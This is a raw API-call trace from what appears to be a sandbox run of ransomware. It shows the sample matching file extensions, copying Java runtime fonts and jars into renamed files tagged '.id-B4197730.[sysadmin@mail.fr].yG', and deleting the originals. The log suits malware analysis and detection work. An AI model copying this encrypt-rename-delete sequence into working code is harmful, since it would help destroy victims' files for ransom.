	[0144.602] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0144.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.602] lstrlenW (lpString=".zip") returned 4
	[0144.602] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0144.602] lstrlenW (lpString=".rar") returned 4
	[0144.602] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0144.603] lstrlenW (lpString=".bz2") returned 4
	[0144.603] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0144.603] lstrlenW (lpString=".7z") returned 3
	[0144.603] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0144.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.603] lstrlenW (lpString=".dbf") returned 4
	[0144.603] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0144.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.603] lstrlenW (lpString=".1cd") returned 4
	[0144.603] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0144.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.603] lstrlenW (lpString=".jpg") returned 4
	[0144.603] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0144.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.603] lstrlenW (lpString=".doc") returned 4
	[0144.603] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0144.603] lstrlenW (lpString=".docx") returned 5
	[0144.603] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0144.603] lstrlenW (lpString=".pdf") returned 4
	[0144.603] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0144.603] lstrlenW (lpString=".xls") returned 4
	[0144.603] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0144.603] lstrlenW (lpString=".xlsx") returned 5
	[0144.603] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0144.603] lstrlenW (lpString=".ppt") returned 4
	[0144.603] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0144.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.603] lstrlenW (lpString=".zip") returned 4
	[0144.603] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0144.604] lstrlenW (lpString=".rar") returned 4
	[0144.604] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0144.604] lstrlenW (lpString=".bz2") returned 4
	[0144.604] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0144.604] lstrlenW (lpString=".7z") returned 3
	[0144.604] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0144.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.604] lstrlenW (lpString=".dbf") returned 4
	[0144.604] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0144.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.604] lstrlenW (lpString=".1cd") returned 4
	[0144.604] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0144.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.604] lstrlenW (lpString=".jpg") returned 4
	[0144.604] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0144.604] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0144.604] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23
	[0144.604] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.614] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=344908) returned 1
	[0144.614] CloseHandle (hObject=0x530) returned 1
	[0144.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20
	[0144.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.615] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.615] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.615] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.615] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0144.616] GetLastError () returned 0x0
	[0144.616] ReadFile (in: hFile=0x530, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x5434c, lpOverlapped=0x0) returned 1
	[0144.630] WriteFile (in: hFile=0x51c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x54350, lpOverlapped=0x0) returned 1
	[0144.640] ReadFile (in: hFile=0x530, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.640] WriteFile (in: hFile=0x51c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x102, lpOverlapped=0x0) returned 1
	[0144.640] SetEndOfFile (hFile=0x51c) returned 1
	[0144.640] CloseHandle (hObject=0x51c) returned 1
	[0144.640] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.640] SetEndOfFile (hFile=0x530) returned 1
	[0144.842] CloseHandle (hObject=0x530) returned 1
	[0144.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0145.012] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1
	[0145.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.174] lstrlenW (lpString=".doc") returned 4
	[0145.174] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.174] lstrlenW (lpString=".docx") returned 5
	[0145.175] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0145.175] lstrlenW (lpString=".pdf") returned 4
	[0145.175] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.175] lstrlenW (lpString=".xls") returned 4
	[0145.175] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.175] lstrlenW (lpString=".xlsx") returned 5
	[0145.175] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0145.175] lstrlenW (lpString=".ppt") returned 4
	[0145.175] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.175] lstrlenW (lpString=".zip") returned 4
	[0145.175] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.175] lstrlenW (lpString=".rar") returned 4
	[0145.175] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.175] lstrlenW (lpString=".bz2") returned 4
	[0145.175] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.175] lstrlenW (lpString=".7z") returned 3
	[0145.175] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.175] lstrlenW (lpString=".dbf") returned 4
	[0145.175] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.175] lstrlenW (lpString=".1cd") returned 4
	[0145.175] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.175] lstrlenW (lpString=".jpg") returned 4
	[0145.176] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.176] lstrlenW (lpString=".doc") returned 4
	[0145.176] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.176] lstrlenW (lpString=".docx") returned 5
	[0145.176] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0145.176] lstrlenW (lpString=".pdf") returned 4
	[0145.176] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.176] lstrlenW (lpString=".xls") returned 4
	[0145.176] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.176] lstrlenW (lpString=".xlsx") returned 5
	[0145.176] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0145.176] lstrlenW (lpString=".ppt") returned 4
	[0145.176] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.176] lstrlenW (lpString=".zip") returned 4
	[0145.176] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.176] lstrlenW (lpString=".rar") returned 4
	[0145.177] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.177] lstrlenW (lpString=".bz2") returned 4
	[0145.177] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.177] lstrlenW (lpString=".7z") returned 3
	[0145.177] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.177] lstrlenW (lpString=".dbf") returned 4
	[0145.177] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.177] lstrlenW (lpString=".1cd") returned 4
	[0145.177] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0145.177] lstrlenW (lpString=".jpg") returned 4
	[0145.177] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.178] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0145.178] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21
	[0145.178] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0145.376] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=698236) returned 1
	[0145.376] CloseHandle (hObject=0x53c) returned 1
	[0145.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20
	[0145.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.616] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0145.616] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.617] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.617] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0145.617] GetLastError () returned 0x0
	[0145.617] ReadFile (in: hFile=0x534, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xaa77c, lpOverlapped=0x0) returned 1
	[0145.682] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xaa780, lpOverlapped=0x0) returned 1
	[0145.720] ReadFile (in: hFile=0x534, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.720] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xfe, lpOverlapped=0x0) returned 1
	[0145.720] SetEndOfFile (hFile=0x520) returned 1
	[0145.720] CloseHandle (hObject=0x520) returned 1
	[0145.720] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.720] SetEndOfFile (hFile=0x534) returned 1
	[0145.778] CloseHandle (hObject=0x534) returned 1
	[0145.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0145.779] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1
	[0145.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.780] lstrlenW (lpString=".doc") returned 4
	[0145.780] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.780] lstrlenW (lpString=".docx") returned 5
	[0145.780] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0145.781] lstrlenW (lpString=".pdf") returned 4
	[0145.781] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.781] lstrlenW (lpString=".xls") returned 4
	[0145.781] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.781] lstrlenW (lpString=".xlsx") returned 5
	[0145.781] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0145.781] lstrlenW (lpString=".ppt") returned 4
	[0145.781] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.781] lstrlenW (lpString=".zip") returned 4
	[0145.781] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.781] lstrlenW (lpString=".rar") returned 4
	[0145.781] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.781] lstrlenW (lpString=".bz2") returned 4
	[0145.781] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.781] lstrlenW (lpString=".7z") returned 3
	[0145.781] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.781] lstrlenW (lpString=".dbf") returned 4
	[0145.781] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.782] lstrlenW (lpString=".1cd") returned 4
	[0145.782] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.873] lstrlenW (lpString=".jpg") returned 4
	[0145.873] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.873] lstrlenW (lpString=".doc") returned 4
	[0145.873] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.873] lstrlenW (lpString=".docx") returned 5
	[0145.873] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0145.873] lstrlenW (lpString=".pdf") returned 4
	[0145.873] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.873] lstrlenW (lpString=".xls") returned 4
	[0145.873] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.873] lstrlenW (lpString=".xlsx") returned 5
	[0145.873] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0145.873] lstrlenW (lpString=".ppt") returned 4
	[0145.873] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.874] lstrlenW (lpString=".zip") returned 4
	[0145.874] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.874] lstrlenW (lpString=".rar") returned 4
	[0145.874] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.874] lstrlenW (lpString=".bz2") returned 4
	[0145.874] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.874] lstrlenW (lpString=".7z") returned 3
	[0145.874] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.874] lstrlenW (lpString=".dbf") returned 4
	[0145.874] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.874] lstrlenW (lpString=".1cd") returned 4
	[0145.874] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0145.874] lstrlenW (lpString=".jpg") returned 4
	[0145.874] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.875] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0145.875] lstrlenW (lpString="javaws.jar") returned 10
	[0145.875] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0145.937] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=944167) returned 1
	[0145.937] CloseHandle (hObject=0x4b0) returned 1
	[0145.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20
	[0145.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0145.938] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.938] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.939] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.939] GetLastError () returned 0x0
	[0145.939] ReadFile (in: hFile=0x4b0, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xe6827, lpOverlapped=0x0) returned 1
	[0146.343] WriteFile (in: hFile=0x518, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xe6830, lpOverlapped=0x0) returned 1
	[0146.642] ReadFile (in: hFile=0x4b0, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.642] WriteFile (in: hFile=0x518, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0146.642] SetEndOfFile (hFile=0x518) returned 1
	[0146.642] CloseHandle (hObject=0x518) returned 1
	[0146.642] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.642] SetEndOfFile (hFile=0x4b0) returned 1
	[0146.675] CloseHandle (hObject=0x4b0) returned 1
	[0146.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.882] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1
	[0146.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0146.883] lstrlenW (lpString=".doc") returned 4
	[0146.883] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0146.883] lstrlenW (lpString=".docx") returned 5
	[0146.883] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0146.883] lstrlenW (lpString=".pdf") returned 4
	[0146.883] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0146.883] lstrlenW (lpString=".xls") returned 4
	[0146.883] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0146.883] lstrlenW (lpString=".xlsx") returned 5
	[0146.883] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0146.883] lstrlenW (lpString=".ppt") returned 4
	[0146.883] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0146.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
